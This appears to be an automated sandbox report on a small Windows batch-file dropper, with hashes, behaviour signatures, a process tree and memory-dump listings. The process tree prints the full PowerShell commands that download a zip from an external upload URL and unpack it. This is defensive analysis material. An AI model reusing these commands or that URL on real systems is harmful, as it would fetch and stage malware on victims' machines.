3113000f470106b98b5a3208266c79213a33567ca7841dd1cfe8ab84847c4eb8

Analysis

max time kernel
118s
max time network
123s
platform
windows7_x64
resource
win7-20231023-en
resource tags

arch:x64arch:x86image:win7-20231023-enlocale:en-usos:windows7-x64system
submitted
19/11/2023, 06:55

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General

Target

tesy - Copy (10).bat
Size

706B
MD5

035f17438f6146d5ac7285b4adfeb370
SHA1

ef83c877367e96073e2b9b841d9c03ece6b1df7e
SHA256

02261a07ff83d906a835ac5229b25595239717e0091f2462804d0a31859bbdc0
SHA512

49455c7edd51537ba92e2db0941f571cd6ad89252702a19cf5910b390b182c16fc970ca62c26582b293ac5fc096e84538c5634472ab6e31bbd29242e8bb816cf

Score

10^/10

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

https://cdn.nest.rip/uploads/fe8c3030-34d2-4153-bdb3-f0ef0fdd51b2.zip

Signatures

Blocklisted process makes network request 1 IoCs

flow	pid	Process
3	2828	powershell.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
2828	powershell.exe
2964	powershell.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	2828	powershell.exe
Token: SeDebugPrivilege	2964	powershell.exe

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 2096 wrote to memory of 2828	2096	cmd.exe	29
PID 2096 wrote to memory of 2828	2096	cmd.exe	29
PID 2096 wrote to memory of 2828	2096	cmd.exe	29
PID 2096 wrote to memory of 2964	2096	cmd.exe	30
PID 2096 wrote to memory of 2964	2096	cmd.exe	30
PID 2096 wrote to memory of 2964	2096	cmd.exe	30

C:\Windows\system32\cmd.exe
cmd /c "C:\Users\Admin\AppData\Local\Temp\tesy - Copy (10).bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:2096
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -command "(New-Object System.Net.WebClient).DownloadFile('https://cdn.nest.rip/uploads/fe8c3030-34d2-4153-bdb3-f0ef0fdd51b2.zip', 'test1.zip')"
  2⤵
  - Blocklisted process makes network request
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2828
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -command "Expand-Archive -Path 'test1.zip' -DestinationPath '.'"
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2964

Network

MITRE ATT&CK Matrix

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

Filesize
7KB

MD5
3d3d02f79f726cf427aac59da8dcf20e

SHA1
12a1fa0eaf3999d1486a542b17213b35f6279519

SHA256
d27b6c6407b793a0746a0167e67daf9b13d694f83f6e745adad670996ff57bcd

SHA512
f94e2295cf7df28c10835f44b5eaee641a56e70127b7ba48991ba51e1f4bd0702bb9af50dc2b48f05b95cd60e7c770d15130c6b5cacc1bb893a99daf8b48f062

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\X87NLM2E71X47CMWCK1P.temp

Filesize
7KB

MD5
3d3d02f79f726cf427aac59da8dcf20e

SHA1
12a1fa0eaf3999d1486a542b17213b35f6279519

SHA256
d27b6c6407b793a0746a0167e67daf9b13d694f83f6e745adad670996ff57bcd

SHA512
f94e2295cf7df28c10835f44b5eaee641a56e70127b7ba48991ba51e1f4bd0702bb9af50dc2b48f05b95cd60e7c770d15130c6b5cacc1bb893a99daf8b48f062

Download Submit
memory/2828-11-0x0000000002A70000-0x0000000002AF0000-memory.dmp

Filesize
512KB

Download
memory/2828-6-0x000007FEF59A0000-0x000007FEF633D000-memory.dmp

Filesize
9.6MB

Download
memory/2828-9-0x0000000002A70000-0x0000000002AF0000-memory.dmp

Filesize
512KB

Download
memory/2828-4-0x000000001B390000-0x000000001B672000-memory.dmp

Filesize
2.9MB

Download
memory/2828-10-0x0000000002A70000-0x0000000002AF0000-memory.dmp

Filesize
512KB

Download
memory/2828-8-0x000007FEF59A0000-0x000007FEF633D000-memory.dmp

Filesize
9.6MB

Download
memory/2828-13-0x000007FEF59A0000-0x000007FEF633D000-memory.dmp

Filesize
9.6MB

Download
memory/2828-7-0x0000000002A70000-0x0000000002AF0000-memory.dmp

Filesize
512KB

Download
memory/2828-5-0x00000000024E0000-0x00000000024E8000-memory.dmp

Filesize
32KB

Download
memory/2964-21-0x000007FEF5000000-0x000007FEF599D000-memory.dmp

Filesize
9.6MB

Download
memory/2964-20-0x0000000002420000-0x0000000002428000-memory.dmp

Filesize
32KB

Download
memory/2964-19-0x000000001B230000-0x000000001B512000-memory.dmp

Filesize
2.9MB

Download
memory/2964-22-0x00000000028C0000-0x0000000002940000-memory.dmp

Filesize
512KB

Download
memory/2964-23-0x000007FEF5000000-0x000007FEF599D000-memory.dmp

Filesize
9.6MB

Download
memory/2964-26-0x00000000028C0000-0x0000000002940000-memory.dmp

Filesize
512KB

Download
memory/2964-25-0x00000000028C0000-0x0000000002940000-memory.dmp

Filesize
512KB

Download
memory/2964-24-0x00000000028C0000-0x0000000002940000-memory.dmp

Filesize
512KB

Download
memory/2964-27-0x000007FEF5000000-0x000007FEF599D000-memory.dmp

Filesize
9.6MB

Download